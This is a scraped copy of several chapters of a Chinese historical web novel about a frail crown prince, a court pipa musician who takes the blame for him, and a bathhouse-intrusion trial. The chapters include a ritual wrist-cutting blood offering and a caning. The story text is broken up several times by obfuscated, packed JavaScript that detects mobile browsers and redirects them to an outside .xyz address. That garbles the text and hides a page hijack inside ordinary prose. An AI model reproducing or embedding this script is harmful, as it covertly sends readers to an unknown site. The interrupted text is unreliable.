35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566348|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧玠日常供奉光明宗,甚至比秦人还要地道虔诚。他由萧恒抚养,到底没有沾染什么靡衣玉食的风好,但随身都要带一小盒降真香。晨起盥洗毕,先向南燃香祝告,诵《明王经》,备一盏水酒在香前。诵经结束后饮酒。再浣手,再写请安折子,再用饭,如此毕恭毕敬。 翌日清晨,光明神铜像请入,萧玠起得更早。他穿了一身鲜红冠服,不似中原形制,腰间围一条九环白玉躞蹀带,隐约听说过是某位南方诸侯的遗留之物。他对阿子笑道:“将我箱笼底的那块玉圭取来吧。” 东宫竟要以祭祀之礼请铜像。 阿子知他郑重,却不知郑重到如此地步,忙去箱中找出玉圭。 圭身九寸,通体光滑洁净,可见主人爱惜至极,必定常常把玩擦拭。但瞧这玉质,显然已经是积年之物。 阿子疑道:“这不像东宫所用的形制呀。” 萧玠接过玉圭,轻轻抚摸,道:“这是命圭,也叫玠,是我的名字。” 阿子微讶,“奴婢还以为,殿下的名讳是取自陛下的镇圭呢。” 萧玠笑道:“那也是我的名字。” 不远处钟声响起,萧玠便整肃形容,将不符合他身份但符合他身世的命圭捧在掌中。不多时,一顶神龛由两人抬入院中,比阿子预想中还要小些,尚不足二尺,但做工细致,全然不像短期赶制而成。 神龛抬入室内,在香案后落成。萧玠从蒲团上跪倒,三叩三拜后,将玉圭放在神像前。阿子按他事先的嘱咐,将一把小刀、一只小碗放到案上,自己退到门外侍立。 他见萧玠无声祝祷什么,仰望光明神像,拔出刀锋,割破自己手腕。 阿子大惊,见他腕部垂在碗上,静静放血。 像把美酒倒入盏中。 阿子愕然的是,失血竟让萧玠脸上生起一抹奇异的红晕。他仰头注目神像,眼中分明是幸福的神情。 碗中鲜血渐满。 萧玠俯身叩头。 他尚未起身,门外突然响起脚步声。阿子赶下阶去,低声叱道:“今天是殿下请神像的日子,什么事情要来搅扰?” 来的是个教坊乐者,看打扮也有些阶品,忙抱手道:“内官恕罪。只是昨夜行宫进了贼人,还深夜闯了娘子们沐浴的芙蓉汤池。殿下鹤驾又在此,教坊使不敢疏忽,正在宜春院筛人抓贼。咱们不敢擅专,还请殿下裁断。” 6. 第 6 章 萧玠出现的瞬间,我随众人低头肃立。众目睽睽下,梁皇太子殿下身着南人衣冠走入门来。 萧玠阻止我们跪拜行礼,问道:“出了什么事?” 现在的教坊判官何仙丘走上前,抱手道:“这几日院里常有物什丢失,殿下赏赐之物竟也被人窃取。听几个内人讲,昨夜亥时左右,在园子里瞧见有行迹可疑之人。” 我不用抬头,也知道萧玠看到何仙丘面貌时一定会微变神色。 何仙丘琵琶技艺超绝,也正是因此,他才在十年之内便做到判官的位置。但与他的琵琶妙音殊异,他有一张烈火毁坏、疮疤遍布的脸孔。据说选拔当日,前任教坊使曾因他面貌过于丑陋拒不收用,还是他又戴纱笠再度献曲,才得以选入行宫。 何仙丘道:“既然殿下驾到,还请殿下鞫讯。” 萧玠声音依旧温和:“我不懂这些,还是劳烦判官,我看着就是。” 萧玠既这样吩咐,何仙丘也没有退让。他向萧玠再行一礼,转身问道:“忆奴,你见到此人,是在亥时?” 忆奴站在人群前,低声说:“约莫是二刻,最晚也不过三刻。” 萧玠问:“你在哪里瞧见的他?” 忆奴微微停顿,“在芙蓉汤池。” 何仙丘问:“是个女人?” 忆奴静了静,说:“是男人。” 她一开口,满堂哗然。 芙蓉汤池是女子的乐园,男人的禁地。这个男贼涉足此处,除了是卑鄙龌龊的盗窃犯之外,更是一个下流无耻的偷窥狂。 何仙丘皱眉,提高嗓音压过众人窃窃私语,继续问道:“你确定?” 忆奴说:“妾确定,亥时二刻之后、三刻之前,一个男人出现在芙蓉汤池。他不是在门外,他正藏在池里!” 她颤声控诉时,萧玠一双手握紧袍角。他脸上依旧镇定,哪怕那镇定摇摇欲坠。 何仙丘已问:“那个时辰,你去芙蓉池子做什么?” 忆奴脸色一白,所幸有铅粉遮掩,不叫她显得太过失态。她低低说道:“妾吃得有些醉了,路过汤池,原想进去泡泡解会乏。” “你一个人?” “一个人。” 何仙丘说:“你要晓得,芙蓉汤池是从前怀帝专门赐给前头人的殊荣,你没有阶品,僭越行事,要受惩处。” 忆奴应道:“是。只是鹤驾在此,妾怕殿下受到冲撞,不敢不冒死上报。” 何仙丘笑一笑:“你倒是个忠心的。” 他一笑,脸部更显得狰狞,忆奴吓了一跳,不敢言语。 何仙丘看她一眼,冷冷说:“你继续讲。” 忆奴道:“妾尚未入池,听见池中有响动,在屏风前影影绰绰瞧见一眼,见那分明是个男人影子,吓得一身酒醒了一半。夜黑风高的,妾到底心中害怕,赶紧跑了。” 何仙丘说:“也就是说,你压根儿不清楚那是个什么人。” 忆奴忙道:“妾虽不清楚,但此人置身女子池子,行迹鬼祟,就算不是窃贼,也是浪荡坏种。殿下与判官但管按着时辰,细细盘查亥时芙蓉池畔进出过哪些人……妾出门时听见动静,想必是那贼子受到惊动慌忙逃窜。也请判官派人去池边瞧瞧,他有没有落下什么痕迹……” 她每多说一句,萧玠脸上笑意便虚弱一分。他尚未再问,负责去芙蓉池搜查的侍从已经赶回来,向堂中拱手道:“启禀殿下、判官,咱们从池底打捞出此物。” 他们将掌中之物奉上时,我看到萧玠睫毛一抖。 那是三枚青铜钱币,红绳串结,阳面朝上,雕刻几簇金色火焰。 堂中突然安静下来。 所有人的目光都射向那串铜钱,又渐渐移向萧玠的脸。 内官阿子四处找寻皇太子遗失之物并非秘密。何仙丘喑然片刻,试探问:“这……可是殿下之物?” 萧玠抬起眼睛。 令我震惊的是,他眼中全无恼羞成怒之意,全然是犯错的惶惑神气。 何仙丘微吸口气,抱手再拜,躬身问:“敢问殿下,此物为何在芙蓉池中?” 萧玠嘴唇微张,上面的牙仁仍磕在下嘴唇上:“我……” 我迈动脚步。 忆奴看向我。 萧玠看向我。 所有人看向我。 我在众目昭彰下站出来,躬身揖手说:“此物是臣遗落的。” *** 这是萧玠第一次对一个名叫沈娑婆的人留存印象。 他不明白此人为什么冒名替罪,脑中有些茫然,理智却驱使自己发问:“这位是……” 何仙丘道:“他是教坊里一名琵琶手,名唤沈娑婆,院中多呼他作沈七郎。” 萧玠点头,看向沈娑婆。 沈娑婆约莫和他相当年纪,看个头或许再长一两岁。眉目低垂,面貌因角度看不分明,但断然不是庸常。 萧玠打量时,何仙丘已开口问道:“既是殿下之物,怎么由你遗落?” 沈娑婆道:“臣昨夜领赏回去,在路上拾得,寻不到物主便自己收起来。和忆奴一样,一时酒醉,误闯了芙蓉池子,惊扰了众位与殿下,实是臣一人之过。” 何仙丘问忆奴,“是他吗?” 忆奴思索道:“那影子的确有几分像七郎。” “确定?” “妾……妾不知道呀。”忆奴声音微微发抖,“妾只恍惚瞧见那么一眼,哪里敢说个分明。” 何仙丘再看沈娑婆,“你自己讲,在池中的是不是你。” 沈娑婆道:“当夜若无第三个醉酒失途之人,那便是臣。” “你说你是要奉还此物,”何仙丘冷笑一声,“就这么奉还到娘子们沐浴的汤池里去了么!” 沈娑婆道:“臣是醉酒……” “一个醉酒,两个也醉酒,酒真是个好东西啊,啊?” “殿下所赐,自是佳品。”沈娑婆拱一拱手。 萧玠忙道:“这事原怪我不仔细,还要多谢沈郎将此物奉还。” 何仙丘连笑两声:“殿下不知道他,我却知道。来人,卷起他的衣袖!” 左右随侍当即上前,将沈娑婆的袖口卷至肘部。何仙丘瞧向他光洁无痕的小臂,对萧玠道:“此子吃不得酒,一吃酒就要发红疹。” 他又掉首看向沈娑婆,“你昨夜吃的是什么酒水,怎么还有灵丹妙药的功效?” 沈娑婆不语。 何仙丘道:“殿下,他滴酒难沾,更别说吃醉。一个神智清醒的男儿郎深夜跑到娘子池子里去,要干什么龌龊事只怕要脏殿下的耳朵。殿下千万别叫他给蒙骗过去,什么奉还铜钱,只怕还是他窃取的呢!” 何仙丘问沈娑婆,“昨夜确实是你在芙蓉池子里。” 沈娑婆没有看萧玠,说:“是。” “有没有人作证?” “我自己,没有。” “你确实吃酒了吗?”何仙丘道,“你记得,蒙骗东宫,罪比欺君。” 沈娑婆没有说话。 何仙丘点点头,“既如此,人证物证俱全。宫规约定,偷盗者杖二十,□□者杖五十,驱逐出教坊。还不快将他拿下去,别污了殿下的眼!” 二名侍者上前,正要押拧沈娑婆臂膀,已有人叫道:“住手!” 萧玠声音急切:“案情未明,岂能草草结案?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陛下年底下诏,再度修善大梁律。新律规定,大梁朝廷上至天子,均不可任意改动成法。殿下若执意要赦免他,须得向三司报陈,又因是殿下鞫讯,三司应再转奏陛下,如此方能……” 萧玠冷声道:“如此冗务,只怕递到三司手里人都冤死了。” 何仙丘忙道:“殿下慎言,这是陛下的诏令。” 一瞬间萧玠脸上薄怒凋零。他点点头,“好,那我现在就进宫面圣。” 他抬腿就走,一应宫人无人敢拦。萧玠将出行宫时阿子急急跑来,上气不接下气:“殿下……殿下要去哪里?” “进宫,我要面见陛下。” “殿下忘了,今日地方官员进京述职,且下不了朝呢。”阿子劝道,“要不等沈犯行刑结束……” 萧玠脚步一顿。 何仙丘竟敢趁他出去来动刑。好大的势力,好大的威风。 宫门近在眼前,一二息后,萧玠突然掉头狂奔而去。 *** 萧玠一路跑回宜春院时,先听到杖责击打之声。刚要开口,便撑住墙剧烈呛咳起来。 太子自胎里带出的病症虽人尽皆知,却从未见过他当场发作,更没一个人见过他如此狼狈模样。 何仙丘忙下阶迎上来搀扶:“医官,快请医官!” 萧玠问:“打了多少?” 何仙丘不料他第一句竟问这个,道:“刚过十杖。” 萧玠由他扶着,半个身子的力气落在他手上,哑声说:“成了。” 他又掩口咳嗽起来,何仙丘忙叫:“快叫人,殿下身边的人呢,有没有常用的药?” 萧玠只觉胸中梗塞,铁锈气一股接一股涌上口腔。他用尽气力挣开何仙丘,摇摇晃晃冲向院中。 头微微有些晕眩,声音也像隔了一层。竹杖打落声却像鞭声,抽在耳中格外清晰。那人正伏在长凳上,白衣隐约沾染鲜红颜色。 竹杖破空挥下。 萧玠不知道生出哪门子气力,突然扑身上前,挡下那一记杖板。 7. 第 7 章 谁都想不到萧玠竟会扑上来挡这一杖,吓得众人跪了满院。 竹杖被丢在地上,执杖人连连叩头,抖若筛糠,“奴婢万死,请殿下降罪!” 萧玠并没有立刻应声。 他也没有立刻从沈娑婆背上起来。 这时,只有沈娑婆能察觉他的颤抖。萧玠湿热的气息洒在他后颈,沈娑婆有一瞬以为是喷了一口血。 沈娑婆喃喃叫他:“殿下。” 皇太子素来身体孱弱,一场风寒就是一次大病,误挨这一杖能成什么样何仙丘想都不敢想,手忙脚乱要去搀扶时,萧玠已双手撑住凳角,从沈娑婆身上掀下来。 他仍掩口咳着,脸色白得吓人,声音却仍平静:“身体发肤受之父母,打我的板子,就是打陛下的板子。你们说,罪当如何?” 何仙丘扑通跪在地上,俯身叫道:“殿下!” 萧玠笑了笑:“我想同判官换个人。” 何仙丘埋在地上,半晌问道:“殿下……何故偏私至此?” 萧玠嘴唇一动,沈娑婆已从长凳上翻下来,躬身跪到他面前,额头抵在地上,“今天是殿下请神像的日子,臣实罪孽,以血污神灵之前。臣叩谢殿下好生之德。” 他又转身看向何仙丘,身子撑在地上,摇摇欲坠,“判官放心,我从今搬去巷北,不会再碍大伙的眼。” 萧玠还要说话,沈娑婆已拉住他袍摆,气息奄奄:“望殿下……成全。” 萧玠要弯腰扶他,沈娑婆已经歪身昏倒过去。萧玠力气也将耗尽,竟也一下子倒在地上。 阿子赶到门前,正好瞧见这一幕,三魂七魄吓去一半,带着哭腔喊道:“殿下怎么了?这……背上怎么有血?” 在他搀扶下,萧玠重新站起来,“不妨事,我自己没瞧好路,叫门打了一下。你叫个人,把沈犯抬去巷北,找个干净厢房安置下。这事结了。何判官,你觉得成吗?” 眼前,沈娑婆倒在地上,血迹洇染唇缝,气若游丝。 何仙丘低声拜道:“殿下,英明。” *** 我醒来时先在床边看见一个模糊人影,当即打了个哆嗦。那人察觉,忙问道:“冷?” 视线渐渐清晰,我才看清床边坐着的竟是萧玠,一时不知道讲什么话,只得叫道:“殿下。” 萧玠已更换一件大袖素衫,想必也上过药。他从内侍阿子手中接过药碗,轻轻搅了搅,手腕一低,我便要去接。 他见我这动作一怔,笑一笑说:“这是我的,你的还煎着。” 我多少有些讪讪,从榻上撑起半个身子,发现这并不是乐者们合住的厢房,设施简单,也不是萧玠的住处。 萧玠解释道:“按你的意思,我从巷北给你找了间屋子。你先住。” 教坊乐署位于行宫东部,宫中宴乐更是靠南,北边便是极其荒凉的所在,若拿大梁宫禁比拟,则于冷宫无异。 萧玠脸上除却羞愧,竟有很深的负罪之意。我瞧见他的腕部,那串铜钱已系在他手上。 我说:“还好找到了。” 萧玠表情微怔,我笑道:“听说这是殿下自幼佩戴之物,想必很是珍贵。” 萧玠抬起手,抚摸那根有些抽丝的红线,“是,这是我……生身之人戴给我的。” 我看着他这动作,说:“她很爱重殿下。” 萧玠笑了:“沈郎也信父母必爱子的话吗?” 我笑道:“臣更信儿女都是债。” 萧玠又笑一笑,小口喝药。他的确是从药罐子里泡大的人,身上那股药草气已经成为他身份象征的一部分。等他放下药碗,终于问了我一直等待的问题,但又和我想象中不尽相同。 他没有问你为什么帮我。 他断然道:“那天给我递衣裳的人,是你。” 他这么聪明,想必知道我瞧见了什么事。我也不否认,只说:“殿下明察秋毫。” 萧玠捏紧药碗,问我:“你何故到芙蓉池子那边去的?” 我道:“当夜领了殿下的赏赐,转了会园子,回来正撞见那两位娘子往这边来……夜已深了,这几日到底有贼,本想上去提醒一句。” 萧玠应一声。 我问:“殿下不怕我编话搪塞吗?” 萧玠看过来,“你当夜便帮我一次,如今又施以援手……但我的确要问。沈郎,你自称是臣。” “是。” “那你身有阶品,品级也不会很低。” 我谦卑道:“殿下抬举,区区六品。” “这个年纪做到六品,往后前途大好。” “殿下并没问过臣的年纪。” 萧玠倒不恼,顺着我的话,声音仍温温和和:“那沈郎年齿如何?” 我道:“臣斗胆,虚长殿下一岁。” 萧玠替我掖了掖被子,道:“十六岁,那该是教坊心知的下一任班头了。沈郎,你我之前素未谋面,你何故自惹污水,这么不计代价地维护我?” 我笑道:“殿下是全然不知自己有多贵重吗?臣若能得殿下的青眼,岂非一步登天?” 萧玠点点头,“你倒坦诚。” 我诚恳道:“攀龙附凤,人之常情。臣总不至于专门等着殿下落难,好做个从天而降的英雄吧。” 说到这里,阿子已垂首又捧一碗汤药来。萧玠接在手里,向我递过来,“这次是你的药了。” 我接在手中徐徐饮尽,至放下药碗,萧玠的目光仍未从我身上移开。 我问道:“按律,要怎么处置臣?” 萧玠道:“教坊除籍,终身不得入。” 我沉默一会,他也没说话,室内听不到丝毫呼吸声。我缓慢眨动眼睛,笑道:“那把琵琶,臣还能摸摸它吗?” 萧玠顺着我的目光看到壁上的琵琶。 萧玠说:“是烧槽。” 我点头,“是。” 他起身走过去,将琵琶摘下来递给我,说:“这琵琶很有年岁。” 我道:“是,比臣的年纪还要大一些。” 萧玠说:“你很珍爱它。” 我只是不语。 我手指抚弦时突然感觉像抚摸情人,她与我素未谋面又与我血脉相连。她脸颊绽放的美圣洁而邪恶,如同端庄又靡靡的琵琶之音。我强忍这心中爱恨交织的情意,凝视我这位相伴数年的怨侣。接着,我将她抱在怀里,对萧玠微微躬身,道:“臣僭越了。” 在萧玠注视里我抚动琵琶弦。 由于杖伤的确难忍,我只是拢弦便出了一身冷汗。说实话,我并不能回忆起当时具体的演奏情景。不要指望一个受伤的人弹出什么妙绝曲子,或许有错音,或许也不连贯。我弹得大汗淋漓又酣畅淋漓。有火苗从我咽喉里蹿腾出来,那种炙热的作呕感让我担心下一口吐出的是血。我把血咽下去,它倒流回血管从轮转的指尖流出来。那一瞬间我感觉无比痛快。我在跟一把琵琶欢爱,但流出处子之血的是我。她扮演着几千年来男权的丈夫,而我才是那个做妻子的女人。我被玩弄被压榨被吸干一切,也被爱。我不知道接下来我会抚摸她的身体拥抱她还是扼住她的脖颈摔断她。我想那一刻或许是我这一生中最爱她的一刻,即将失去之时,一切怨恨被洗刷殆尽,只有爱慕充斥满心。 琵琶嗓子哑了。 我停下来,不住喘息。 我看向萧玠,那个云雨之情的旁观者。 萧玠泪流满面。 我愕然,叫他:“殿下。” 萧玠抬袖揾了揾脸,放下袖子,声音依旧温和。他轻轻问道:“我能看看吗?” 我将琵琶递给他。他搂抱婴儿一样接过她,手指拂过她脸颊时,生起一股久别重逢的战栗。 他看着我的脸,不容置疑地说:“你说你那夜转过园子。” 我点头,“是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566350|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他声音微紧,“有没有遇到什么人?” 我想了想,道:“臣遇到了一把很好的琵琶。” 萧玠缄默片刻后,身体渐渐萎缩了。许久,他才说出一句:“是我连累你。” 我说:“是臣求仁得仁。” 萧玠连连摇头,“沈郎,我也是学琵琶的,你究竟是什么天赋我一清二楚……是我毁了你。” 明明是我弹不了琵琶了,他竟比我还要难过。 我叹道:“殿下。”又宽慰他:“其实臣不那么爱琵琶的。” 萧玠的身子完全低下去,像一个慢放的叩首。我心中轻轻一颤,我的手先于我的意识抬起,移向他的后背。 我到底没能将手落下去。 在我要收回手掌时,萧玠撑起身子,双手握紧住我。 他身体依旧低伏,看向我时居然成一个仰望的姿势。萧玠立下他一生中对我的第一个誓言: “我一定叫你再弹琵琶。我一定叫你光明正大地回教坊司去。我不敢叫你宽宥我,但……你信我。” 他说。 *** 萧玠回到自己住处后,脸上才浮现忍痛的表情。他将外衣脱下,衣衫离背时倒吸一口凉气,听见隔壁厢房有动静,又有脚步声走来,便道:“你帮我涂药吧,我够不着。” 那人从架子上匀开药膏,上手揉在他伤痕上。 不是阿子。 萧玠浑身一颤,低低叫:“……陛下。”又道:“前朝政务繁忙,陛下回宫吧,臣一切都好的。” 萧恒将他的肩扳正,继续按揉,只问:“疼吗?” 萧玠低下脸,“不疼。” 直至上药结束,二人再无一言。萧玠只觉他手冷,想问他的身体,却嘴巴发涩,如何也开不了口。 还是萧恒先问:“钱戴好了吗?” 萧玠一愣,低低应一声。 萧恒道:“别再掉了。” 萧玠脊背颤动起来。 萧恒叫他:“阿玠。” 他停顿片刻,讲的却是另一件事,“宜春院那边已经报给我,今日审问沈犯时是个什么情形。沈娑婆不只盗窃,还窥探芙蓉汤池。” 萧玠哑声说:“他没有。” 萧恒没有非常意外,继续道:“那他冤枉。” 萧玠喃喃道:“是。” 萧恒看了他一会,问出最后一个问题: “你参与了这件事,是不是?” 萧玠头皮一麻,双唇微微发抖。 萧恒静静注目他,脸上瞧不出喜怒,只道:“萧玠,你看着我。” 萧玠抬头看他。 萧恒问:“是不是。” 两行泪在萧玠眼中滚落。 他双手捂住脸颊,两肩轻轻抖动,连声道:“你别问我了……我求求你,你别问我、别问我了……” 他哽咽不多时就大声呛咳起来,萧恒忙给他抚背,边往外喊道:“快!清肺丸和热汤,还有他匣子里的枇杷膏,快拿进来!”又低声道:“阿玠,阿玠你用鼻子,用鼻子呼吸,别用嗓子。” 萧恒两条臂膀将他环在怀里,这居然是二人这些年里最近的距离。像个拥抱。他和萧恒的拥抱要是八岁往前的事。 萧玠咳得更厉害了。 阿子闻声赶来,忙将药物热水递上去,萧恒合掌喂给他,又端碗抵在他唇边,萧玠只觉整只碗都在啰嗦。 等萧玠吃完药,萧恒仍替他抚背顺气。萧玠垂着脸,片刻才问出声:“陛下要亲鞫此案吗?” 萧恒问:“你想要我再查吗?” 他顿一顿,道:“阿玠,你什么话都可以和我讲。” 什么话都可以吗? 萧玠嘴唇蠕动,却被一阵脚步声打断。秋童几乎是扑进门里,跪在他脚边叫道:“陛下,北边刚传回来的消息,杨刺史进京路上突遇山洪,已经殉职了!” 8. 第 8 章 萧玠对杨峥的第一印象,是郑绥的舅舅。缓一缓才想起,他自请外放出京,正是在李寒离世之年。 彼时朝局动荡,萧玠年纪尚小。但他多少晓得,在裴兰桥李寒相继离世后,萧恒身边的重臣缺然。杨峥倘若留在朝中,未必不能一步登天。 但杨峥要离开,萧恒也没有阻拦。 更多的事情萧玠就不那么清楚,只依约知道杨峥一直与萧恒书信往来,而萧恒这些年陆续颁布的新令,有不少出自杨峥手笔。 在外的杨峥,就是萧恒十年一磨的剑锋。 杨峥讣闻传来后,萧恒就匆匆离开行宫。萧玠一个人从榻边坐着,太阳的影子从他脸上推移到膝头。 不知坐了多久,外头突然有人叫一声:“殿下!” 利落脆生,显然不是服侍之人。 萧玠忙站起来迎上去,“你家里怎么样,杨夫人还好?老国公知道了吗?” 来的是个穿石青褂子戴襆头的男孩子,腰间所戴的络子是杨茗亲手所打,和郑绥的正是一对。他脸蛋通红,奇怪道:“知道什么?” 看样是不知道。 他襆头垂脚跑得绕上颈子,萧玠给他整理好,只说:“你大哥回来一趟。” 一听郑绥来过,他二弟郑缚的双眼一亮,又疑惑道:“大哥不是去北边了吗,这才走了几天?”又奇怪道:“他回来了,干嘛还支使我来找你?” 萧玠一愣,“他叫你来找我?” 郑缚道:“可不是,刚收到大哥一封信,叫我找找还有没有枇杷膏子,有空给殿下送来。哎,估计是大哥偷跑回来的事给我娘知道了,家里直接乱成一团。我娘不叫我添乱,我就来给大哥跑差事了。” 他边说边从袖中摸出一只青瓷小罐递去,萧玠打开,清甜之气扑鼻。 郑缚自己搬了个胡床坐,说:“膏子是自己蒸的。说起来我还真是佩服他,他在家又要念书又要练刀又要学兵法还要进宫陪你点卯应酬,忙得像个陀螺转,居然还能抽出功夫来捣鼓这些东西。不过我找了很找,果真只有这一罐了。殿下,你俭省些吃啊,吃了这罐不知还有没有下一罐了。” 郑绥领兵在外,最忌讳未来之事。萧玠听得这话,心里立即咚地一下,问:“什么意思?” 郑缚啊一声道:“我大哥不是要下聘了吗?等娶了嫂子,肯定得捣鼓胭脂水粉去了。” 萧玠浑身一僵,“下聘?” “是,听我娘说是我爹递的折子,陛下一高兴还赐了两匹连波锦呢。两匹连波锦哎,在前朝也是千金难求,我多久没从赏赐里见过这种稀奇货了。上次陛下的赏赐还是一篮葵菜,我爹先供了我爷爷太爷爷才叫人做了吃,吃之前还带着全家人沐浴熏香。不过殿下,陛下的手艺是真可以,谷子是真香……” 他絮絮说了一会,萧玠也听完,又问:“是哪家的娘子?” 郑缚道:“听说是崔家的一个阿姊,似乎我外祖那边的一位姑奶就嫁到了崔氏,多少有点沾亲带故的。连我舅父知道了都高兴得不行,给娘写信,派人送了好些东西回来,箱子就有几大口,说总归亲上加亲嘛。” 萧玠笑道:“是,有亲故,总比硬指的好。” 他说完便无话再说,郑缚又是静不了的年纪,一会便道:“殿下,想吃糕。” 萧玠笑一笑:“自己拿吧。” 郑缚找了一圈,又重新从胡床上坐下,“没找着。” 萧玠便拧上那只枇杷膏,从食匣里翻出糕点给他。 等郑缚快吃了一半,突然听萧玠道:“你大哥比我还要小些。” “是,小一岁。”郑绥道,“但大哥从小体格就好,殿下你身骨又弱,你们站一起,说大哥长一岁我都信。” 萧玠问:“他比我还要小,怎么这么早就下聘?” 郑缚笑起来:“敢情殿下琢磨这事呢。我还是听娘说,像她和爹成亲这样晚的在京中还是少数,一般十五六就得拜堂了。这媳妇又不能从天上掉下来,还得相看商议走礼数,来来往往一堆规矩,算起来怎么都得有好几年。只是大哥娶妻怎么能和殿下选妃来比,皇太子妃殿下是殿下的正妻,以后的国母娘娘,当然不能马虎。” 萧玠声音很轻:“正妻,一定要娶吗?” 郑缚理所应当道:“这不当然吗,要是两个人真看对眼,哪能连个正大光明的名分都舍不得给,那明显没往心上放啊。不给名分不就是个妾——虽则我爹没有妾——但我听说那些妾室女都很可怜的,主君爱看一眼多看一眼,厌烦了直接扫地出门的大有人在。虽然她们的孩子是一般长大,但真继承家业就排不上号了,到底是庶孽之子……” 萧玠点点头,神色似乎没有变化。郑缚这碗口大的心眼突然一抖。 太子是今上独子,今上又待其如珠似宝,宝到不刻意去想都很难记起,太子并非嫡出。 他忙站起来,又扑通跪下,“我……臣万死,臣没那个意思。殿下怎么能跟他们比……再说,陛下也没有正妻啊!” 萧玠道:“有的,每年陛下都要领我去阳陵,给恭让皇后磕头。” 郑缚急得满头大汗,萧玠已嗤地笑起,伸手拉他起来,“好啦,不吓你了。你若因为出言不逊在我这里获罪,只怕脑袋都掉了一百回了。不为你,还有你大哥。” 糕碟被打翻在地,萧玠便把没有很碎的糕捡回碟中。郑缚在家一向不管这些,更不知道掉地上的吃食还有什么用,只说:“陛下和殿下的生母……感情一定很好的。” 萧玠笑道:“我不知道的事,你却知道了。” 他也不要郑缚解释,说:“好了,你这青鸟任务已成,自回蓬山去吧。等下聘之日,我也叫人送些东西。多少和你大哥同窗一场的。” 萧玠虽仍笑,脸上的疲惫之色却一清二楚。郑缚自觉惹祸,忙不迭领命跑了。等他的脚步声彻底消失在宫禁,萧玠才从站起来,将糕点表层的酥皮捻掉,拾起半块碎糕,慢慢地嚼。 直到黄昏,萧玠再未有任何吩咐,却一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566351|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人将半碟糕吃完了。他心思深,阿子瞧不出喜怒,听见萧玠低低咳嗽才如梦初醒,忙将煎好的药端进来。 阿子所知悉的皇太子的生活,就是吃药、吃药、无休止地吃药,以及皇帝跨不进门槛来的那只脚。他旁观这对天家父子,他们似乎是无数因妻子和母亲缺失而衍生出的家庭变式,他们的痛苦是不能亲昵相对,又不能冷漠以待。 在大梁宫中,占据太子生母和皇帝前妻位置的那个人一直是讳莫如深的话题。这似乎是每代先帝对下任新皇帝送出的祝福。这种模式在两代之前的肃帝后宫中也曾出现,那时候被避而不谈的王妃贺氏,正是怀帝的生母和肃帝的前妻。仔细想来,现任梁天子的情感齿轮的确是以梁怀帝退位为节点,从与另一半的啮合变成磨耗。身份转换后,曾经的助力变成阻力,曾经这份感情建立得多艰难,真正切割就有多艰难。 阿子对皇帝前妻有些好奇,全因为他意识到,萧玠正是“她”与皇帝爱情的遗迹。每当清晨或傍晚,寂静人稀之时,光影变幻之际,皇太子脸上异于皇帝的部分焕发出类似神灵和幽灵的勃勃生机。他乌黑的头发从冠中解放,像最好的绸缎披垂在肩。自然的光线透入雕窗,将他整日病态的脸颊涂抹上健康的浅红。他类似于皇帝的五官轮廓被柔和成更接近另一个人的秾丽容貌,那是不属于太子不属于萧氏甚至不属于北方的美。萧玠如果此时揽镜自照,很可能会看到他朝思暮想的那个人。 而皇帝也是在这时来到东宫。 阿子当时守在门前看药炉,先于太子看到皇帝。皇帝临近门槛时抬脚,却在下一刻骤然僵住。他看到皇帝眼中绽放一种无与伦比的少年人光彩,他像身临一种仙遇的惊喜和一场旧梦的重温。 太阳渐落,日影从太子脸上渐渐推移,那不属于他的艳丽容光从他脸上剥离,重新露出近似皇帝的冰冷面孔。阿子看到皇帝炽热的目光平静下去,哪怕是他和太子对视的一瞬。太阳从一种审慎的角度洒下余晖,这一双父子相对无言,又宛如同时浸泡在太子出生时的满床鲜血里。阿子注意到,西天苍白南天血红,太阳不落西方落南方。这种本该奇怪的天象在奉皇七年的深秋之后见怪不怪,在阿子记忆里,这似乎还成为南方一个诸侯国度宣布独立的吉祥征兆。它的独立宣言昭告天下之际,残阳蜷于南山,像经历分娩前最后一次宫缩。 三天后,又一个太阳落山之际,皇帝重新回到行宫。他没有谈及杨峥之死所引起的轩然大波,甚至没有去见萧玠,而是去做三天前被打断的一件事。 阿子回报萧玠,陛下回来了,陛下要亲鞫芙蓉汤池一案。 萧恒亲鞫,他真正想遮掩的私隐将无处遁形。 他问阿子:“陛下提了沈娑婆?” 阿子道:“没有。陛下先把所有人聚在一块,简单筛掉一部分,再一个一个亲自查问。” 萧玠问:“现在到了哪里?” 阿子想了想,“奴婢来回报时,正到那位检举的忆奴娘子。她似乎是最后一个。” 9. 第 9 章 这是忆奴第一次面见萧恒。 萧恒没穿冕服,一袭黑衣坐在一把太师椅里,将手中翻看的录述放在案上,问:“你是忆奴?” 